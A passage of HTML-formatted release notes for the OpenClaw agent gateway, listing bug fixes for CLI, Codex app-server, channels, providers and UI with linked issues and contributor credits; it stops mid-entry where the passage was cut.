<li>Gateway CLI: surface local post-challenge connect assembly failures immediately instead of waiting for the wrapper timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290747635" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68944" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68944/hovercard" href="https://github.com/openclaw/openclaw/issues/68944">#68944</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500376302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85253" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85253/hovercard" href="https://github.com/openclaw/openclaw/pull/85253">#85253</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Messages: strip unsupported web-search citation control markers from outbound replies before they reach WebChat or external channels. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499543395" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85193" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85193/hovercard" href="https://github.com/openclaw/openclaw/issues/85193">#85193</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499683212" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85204" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85204/hovercard" href="https://github.com/openclaw/openclaw/pull/85204">#85204</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/exec: treat denied exec approvals as terminal instead of feeding them back into agent follow-up work, and recognize Chinese stop phrases in abort handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4297018430" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69386" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69386/hovercard" href="https://github.com/openclaw/openclaw/issues/69386">#69386</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499556034" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85194" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85194/hovercard" href="https://github.com/openclaw/openclaw/pull/85194">#85194</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/agents: abort accepted Gateway-backed <code>openclaw agent</code> runs on SIGINT/SIGTERM so cron and supervisor timeouts do not leave remote agent work alive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328934502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71710/hovercard" href="https://github.com/openclaw/openclaw/issues/71710">#71710</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482298414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84381" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84381/hovercard" href="https://github.com/openclaw/openclaw/pull/84381">#84381</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Codex app-server: retry replay-safe stdio client-close turns once using structured failure metadata, while surfacing idle <code>turn/completed</code> timeouts instead of blindly replaying active shared-server turns. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>Codex app-server: reject command overrides that embed Node or package-manager arguments and point users to <code>appServer.args</code>, so Windows startup avoids shell parsing failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482924887" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84417" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84417/hovercard" href="https://github.com/openclaw/openclaw/pull/84417">#84417</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Agents/Copilot: drop unsafe GitHub Copilot Responses reasoning replay items before send so Telegram direct sessions no longer fail on overlong replay IDs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499593497" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85197" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85197/hovercard" href="https://github.com/openclaw/openclaw/issues/85197">#85197</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499597293" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85198" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85198/hovercard" href="https://github.com/openclaw/openclaw/pull/85198">#85198</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galiniliev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galiniliev">@galiniliev</a>.</li>
<li>UI: add accessible tooltips to the topbar color-mode buttons so System, Light, and Dark choices are labeled on hover and focus. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499909774" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85227" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85227/hovercard" href="https://github.com/openclaw/openclaw/pull/85227">#85227</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>fix: constrain Windows task script names [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497094133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85064" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85064/hovercard" href="https://github.com/openclaw/openclaw/pull/85064">#85064</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Control UI: keep the chat session picker from hiding older or cross-agent configured conversations while preserving the bounded configured-agent refresh. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499767279" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85211" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85211/hovercard" href="https://github.com/openclaw/openclaw/pull/85211">#85211</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Anthropic: preserve unsafe integer tool-call input values in streamed Anthropic tool-use JSON, preventing Discord-style IDs from being rounded before dispatch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4078181831" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47229" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47229/hovercard" href="https://github.com/openclaw/openclaw/issues/47229">#47229</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463230716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83063" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83063/hovercard" href="https://github.com/openclaw/openclaw/pull/83063">#83063</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leno23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leno23">@leno23</a>.</li>
<li>Agents/Codex: estimate tool-heavy prompt pressure at the LLM boundary before provider submission, so persistent sessions compact before overflowing context windows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506085390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85541" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85541/hovercard" href="https://github.com/openclaw/openclaw/pull/85541">#85541</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agents/hooks: wait for local one-shot CLI and Codex <code>agent_end</code> plugin hooks before process cleanup so terminal observability flushes reliably. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495920076" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85007" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85007/hovercard" href="https://github.com/openclaw/openclaw/pull/85007">#85007</a>)</li>
<li>Providers/Google: preserve Gemini 3 cron <code>thinkingDefault: "low"</code> when stale catalog metadata says <code>reasoning:false</code>, so scheduled runs keep provider-supported thinking instead of downgrading to off. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499385810" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85185" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85185/hovercard" href="https://github.com/openclaw/openclaw/pull/85185">#85185</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498501242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85121/hovercard" href="https://github.com/openclaw/openclaw/pull/85121">#85121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471527952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83722/hovercard" href="https://github.com/openclaw/openclaw/pull/83722">#83722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498172824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85110/hovercard" href="https://github.com/openclaw/openclaw/pull/85110">#85110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83348/hovercard" href="https://github.com/openclaw/openclaw/pull/83348">#83348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496213314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85022/hovercard" href="https://github.com/openclaw/openclaw/pull/85022">#85022</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501936678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85310" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85310/hovercard" href="https://github.com/openclaw/openclaw/issues/85310">#85310</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502712735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85357/hovercard" href="https://github.com/openclaw/openclaw/pull/85357">#85357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290563726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68916/hovercard" href="https://github.com/openclaw/openclaw/issues/68916">#68916</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499486658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85190/hovercard" href="https://github.com/openclaw/openclaw/pull/85190">#85190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506017461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85534/hovercard" href="https://github.com/openclaw/openclaw/pull/85534">#85534</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4426401117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80886/hovercard" href="https://github.com/openclaw/openclaw/pull/80886">#80886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496893143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85054/hovercard" href="https://github.com/openclaw/openclaw/pull/85054">#85054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464921339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83262/hovercard" href="https://github.com/openclaw/openclaw/pull/83262">#83262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492410818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84859" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84859/hovercard" href="https://github.com/openclaw/openclaw/issues/84859">#84859</a>.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4434938350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81296/hovercard" href="https://github.com/openclaw/openclaw/pull/81296">#81296</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492092367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84837/hovercard" href="https://github.com/openclaw/openclaw/pull/84837">#84837</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474791588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84006/hovercard" href="https://github.com/openclaw/openclaw/pull/84006">#84006</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/doctor: remove stale bundled plugin load paths from old versioned OpenClaw package roots after pnpm/npm upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183233605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58626/hovercard" href="https://github.com/openclaw/openclaw/issues/58626">#58626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solink7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solink7">@solink7</a>.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480467537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84285/hovercard" href="https://github.com/openclaw/openclaw/pull/84285">#84285</a>)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430383114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81069/hovercard" href="https://github.com/openclaw/openclaw/pull/81069">#81069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496517336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85037/hovercard" href="https://github.com/openclaw/openclaw/pull/85037">#85037</a>)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478478934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84185/hovercard" href="https://github.com/openclaw/openclaw/issues/84185">#84185</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84190/hovercard" href="https://github.com/openclaw/openclaw/pull/84190">#84190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446719061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81837/hovercard" href="https://github.com/openclaw/openclaw/issues/81837">#81837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448375153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81886/hovercard" href="https://github.com/openclaw/openclaw/pull/81886">#81886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093339126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49577/hovercard" href="https://github.com/openclaw/openclaw/issues/49577">#49577</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334434847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72724/hovercard" href="https://github.com/openclaw/openclaw/pull/72724">#72724</a>)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492687433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84875/hovercard" href="https://github.com/openclaw/openclaw/issues/84875">#84875</a>.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491152950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84762/hovercard" href="https://github.com/openclaw/openclaw/pull/84762">#84762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484831985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84516/hovercard" href="https://github.com/openclaw/openclaw/issues/84516">#84516</a>.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484261445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84492/hovercard" href="https://github.com/openclaw/openclaw/issues/84492">#84492</a>.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463833833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83134" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83134/hovercard" href="https://github.com/openclaw/openclaw/issues/83134">#83134</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465313833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83317/hovercard" href="https://github.com/openclaw/openclaw/pull/83317">#83317</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" 